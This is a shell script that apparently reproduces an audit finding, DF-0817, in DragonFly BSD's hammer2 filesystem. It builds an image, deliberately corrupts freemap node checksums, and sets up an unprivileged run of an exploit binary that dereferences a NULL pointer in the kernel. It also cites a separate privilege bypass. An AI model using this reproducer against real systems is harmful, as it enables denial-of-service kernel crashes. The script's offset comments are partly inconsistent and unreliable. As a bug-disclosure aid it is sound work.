DF-0817 / setup_image.sh
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 | #!/bin/sh # DF-0817 root-side image setup. # # Creates a hammer2 image whose freemap tree contains a FREEMAP_NODE level, # then corrupts the FREEMAP_NODE block's data CRC so the bulkfree scan's # chain lookup returns NULL with *errorp set, triggering the bug at # hammer2_bulkfree.c:1050 (live_chain->error deref when live_chain==NULL). # # REPRODUCIBILITY # --------------- # The FREEMAP_NODE block lives in a fixed-size reserved area at the base of # each 2GB zone. There are 8 "rotation" slots per zone (hammer2 rotates the # freemap on each modifying sync to keep old copies for crash recovery): # # slot rot = 0..7, each 64KB apart starting at zone_base + 0x20000 # byte offset = zone_base + 0x20000 + rot * 0x50000 # (0x50000 = 5 * HAMMER2_PBUFSIZE = ZONE_FREEMAP_INC) # # Rather than trying to predict which rotation slot the active sync picked # (it changes on every mount/sync), we just corrupt byte 0x100 of the # FREEMAP_NODE candidate block in EVERY rotation slot of EVERY zone. The # active FREEMAP_NODE โ whichever one it is โ will fail its CRC check on # the next load, and the bulkfree scan hits the buggy NULL deref. # # Each corrupted byte is 0x100 bytes into a 32KB FREEMAP_NODE block, well # inside the data area, so the recomputed icrc32 differs from the stored # value (chain->bref.check.freemap.icrc32, which lives uncorrupted in the # volume header). This is what we want. # # The volume header's own integrity is left untouched, so mount succeeds # normally. The attack surface is the BULKFREE_SCAN ioctl, which on the # audit guest is reachable by an unprivileged user (DF-0815 privilege bypass). set -e DEV=vn0 IMG=/root/t/h2.img MNT=/mnt/h2t # Clean any prior state umount -f $MNT 2>/dev/null || true for d in vn0 vn1 vn2 vn3; do vnconfig -u $d 2>/dev/null || true; done mkdir -p "$(dirname $IMG)" "$MNT" rm -f $IMG # Create an 8GB sparse image โ large enough that >4GB of allocations forces # a FREEMAP_NODE indirection (FREEMAP root blockset has only 4 slots, each # direct FREEMAP_LEAF covers 1GB => >4GB of allocations => a FREEMAP_NODE). echo "[setup] creating 8GB sparse image $IMG" truncate -s 8589934592 $IMG echo "[setup] vnconfig + newfs_hammer2" vnconfig -c $DEV $IMG newfs_hammer2 /dev/$DEV >/dev/null echo "[setup] mount + populate freemap with INCOMPRESSIBLE data" mount_hammer2 /dev/${DEV}s0 $MNT # 6 GB of /dev/urandom data โ urandom, not zero, because hammer2's default # lz4 compression collapses zeros to ~0 bytes and the freemap tree ends up # with no FREEMAP_NODE level at all. Random data forces real allocations # across multiple 1GB leaves, requiring a FREEMAP_NODE. i=0 while [ $i -lt 30 ]; do dd if=/dev/urandom of=$MNT/file$i bs=1m count=200 2>/dev/null i=$((i+1)) done sync echo "[setup] freemap before corruption (expect freemap_node.0 line):" hammer2 freemap /dev/${DEV}s0 2>&1 | head -12 echo "[setup] unmount (flush + drop in-memory chains)" umount $MNT vnconfig -u $DEV sleep 2 # Corrupt byte 0x100 of the FREEMAP_NODE block in EVERY rotation slot of # EVERY 2GB zone. The active FREEMAP_NODE โ whichever slot/zone it lives # in โ will fail its CRC on the next load. echo "[setup] corrupting all FREEMAP_NODE rotation slots in all 4 zones" ZONE=0 while [ $ZONE -lt 4 ]; do case $ZONE in 0) ZBASE=0 ;; 1) ZBASE=8589934592 ;; 2) ZBASE=17179869184 ;; 3) ZBASE=25769803776 ;; esac [ $ZBASE -lt 8589934592 ] || break # image is only 8GB ROT=0 while [ $ROT -lt 8 ]; do OFF=$((ZBASE + 0x20000 + ROT * 0x50000 + 0x100)) printf "\252\253\254\255" | dd of=$IMG bs=1 count=4 seek=$OFF conv=notrunc 2>/dev/null || true ROT=$((ROT+1)) done ZONE=$((ZONE+1)) done echo "[setup] re-attach + mount READ-ONLY (corruption persists; bulkfree will re-read)" vnconfig -c $DEV $IMG mount_hammer2 -o ro /dev/${DEV}s0 $MNT chmod 755 $MNT echo "[setup] done. mount status:" mount | grep h2t echo "[setup] now run as unprivileged user: ./df0817 $MNT" |